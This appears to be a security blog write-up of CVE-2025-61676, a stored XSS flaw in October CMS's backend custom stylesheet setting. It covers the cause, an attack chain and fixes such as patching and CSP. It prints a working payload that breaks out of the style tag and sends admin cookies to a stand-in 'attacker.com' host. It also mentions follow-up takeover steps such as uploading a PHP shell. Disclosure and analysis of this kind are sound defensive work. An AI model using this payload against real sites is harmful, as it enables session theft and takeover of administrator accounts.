CVE-2025-61676

Style Over Security: Smuggling XSS into October CMS

Alon Barad
Alon Barad
Software Engineer

Jan 10, 2026·6 min read

Executive Summary (TL;DR)

October CMS lets admins customize backend CSS. Unfortunately, it didn't check if those 'styles' were actually scripts. By closing the style tag (`</style>`) in the input, an attacker can execute arbitrary JavaScript in the context of every other admin who logs in.

A stored Cross-Site Scripting (XSS) vulnerability in October CMS allows authenticated users with styling permissions to inject malicious JavaScript into the backend layout, potentially hijacking Super Admin sessions.

The Hook: Pretty Dashboards, Ugly Vulnerabilities

October CMS is a favorite among developers who love Laravel but hate reinventing the wheel. It’s sleek, extensible, and—like any good CMS—customizable. Users love to make the backend 'their own' with custom branding, colors, and logos. It's the digital equivalent of hanging fuzzy dice on the rearview mirror.

But here's the thing about customization features: they are often the bastard children of the development lifecycle. While the core authentication logic gets audited by the senior engineers, the 'change background color' feature is often slapped together to satisfy a marketing request.

In CVE-2025-61676, we see exactly this scenario play out. The feature allows users to inject custom CSS to style the backend. Sounds harmless, right? CSS can't hurt you, they said. Well, they were wrong. Because when you trust user input to define the structure of your page, you aren't just letting them pick colors; you're letting them rewrite the rules of the browser.

The Flaw: Trusting the <style>

The vulnerability resides in the Branding & Appearance settings. Specifically, there is a field for "Custom Stylesheet." The intent is noble: allow an administrator to paste some CSS to tweak the font size or hide an annoying button.

The implementation, however, was naive. The application takes the text from this input field and dumps it directly into the HTML of the backend layout, wrapped snugly between <style> tags.

Crucially, it failed to ask the most important question: "Does this input contain a closing style tag?"

By not sanitizing the input for HTML tags, the application assumed the user would play by the rules. It treated the input as data, but rendered it as code. This is the classic definition of Stored XSS. The browser doesn't know that the </style> tag came from a user; it just sees a tag and obeys, switching contexts from CSS parsing back to HTML parsing, opening the door for a script injection.

The Code: Breaking the Context

Let's look at a reconstruction of the logic to understand why this breaks. The vulnerable code effectively does something like this in the layout template:

<style>
    <?= $this->branding->custom_css ?>
</style>

The developer sees this and thinks, "I'm outputting inside a style block. Browsers won't execute JavaScript inside a style block. I'm safe."

But the attacker sees an opportunity to break out. If the input is simply appended to the output buffer, the browser parses it sequentially.

The Vulnerable Flow:

  1. User submits payload: </style><script>evil()</script><style>
  2. Server saves it to the database.
  3. Admin loads the page.
  4. Server renders:
<style>
   /* Start of injection */
   </style><script>evil()</script><style>
   /* End of injection */
</style>

The browser sees the first </style> and thinks the style block is done. It then immediately encounters <script>, which it happily executes. The final <style> just cleans up the syntax so the page doesn't look broken.

The Exploit: Booby-Trapping the Backend

To exploit this, we need the Customize Backend Styles permission. This limits the attack surface slightly—you can't trigger this as an unauthenticated nobody. However, in many organizations, 'design' permissions are given to lower-tier admins or marketing staff.

Here is the attack chain:

  1. Recon: We confirm we have access to Settings -> Branding & Appearance.
  2. The Payload: We craft a payload that closes the style tag, runs our script, and then re-opens a style tag to prevent visual rendering errors that might tip off the victim.
</style><script>
  // Create a silent image request to steal cookies
  new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
</script><style>
  1. The Trap: We save the settings. The database now holds our landmine.
  2. The Trigger: We wait. The next time a Super Administrator logs in to check the dashboard, their browser renders the global layout. The script executes immediately.

Now we have the session ID of the Super Admin. We can impersonate them, create a new admin user for ourselves, or use the file manager to upload a PHP shell. Game over.

The Impact: From Stylist to Sysadmin

Why is a Medium severity bug (CVSS 6.1) worth your attention? Because of the context. This isn't XSS on a public comment form where you might annoy a random visitor. This is XSS in the administrative backend.

The only people viewing this page are other administrators, likely with higher privileges than the attacker.

  • Privilege Escalation: A "Designer" role can become "Super Admin."
  • Persistence: The script runs every time a page loads, meaning even if the admin logs out and back in, their new session is immediately compromised again.
  • RCE Potential: In CMS environments, Admin access often equals Remote Code Execution (RCE). October CMS allows admins to manage themes and files. If you control the admin, you can usually write PHP files to the server.

The Fix: Sanitization or death

The fix is straightforward, but it highlights the importance of defense-in-depth.

1. Update Immediately: October CMS versions 3.7.13 and 4.0.12 patch this issue. If you are running an older version, your backend is a potential minefield.

2. The Patch Logic: The patch likely introduces input sanitization that strips HTML tags from the CSS input or encodes specific characters (like < and >) to HTML entities (&lt;, &gt;). If the browser sees &lt;/style&gt;, it treats it as text content within the CSS block, rendering it harmless.

3. Content Security Policy (CSP): This exploit relies on inline scripts (<script>...). A strong CSP is the ultimate safety net here. By disallowing unsafe-inline scripts in your headers, the browser would refuse to execute the injected payload even if the application failed to filter it.

Content-Security-Policy: default-src 'self'; script-src 'self';

Stop relying on input validation alone. Assume the input will be malicious and configure the browser to reject it.

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N

Affected Systems

October CMS v3.x < 3.7.13October CMS v4.x < 4.0.12

Affected Versions Detail

Product
Affected Versions
Fixed Version
October CMS
October CMS
< 3.7.133.7.13
October CMS
October CMS
>= 4.0.0, < 4.0.124.0.12
AttributeDetail
Vulnerability TypeStored XSS
CWE IDCWE-79
Attack VectorNetwork
CVSS Score6.1 (Medium)
Privileges RequiredHigh (Customize Styles)
ImpactSession Hijacking / Privilege Escalation
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Public Disclosure via GitHub Advisory
2025-01-09
NVD Analysis
2025-01-10

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.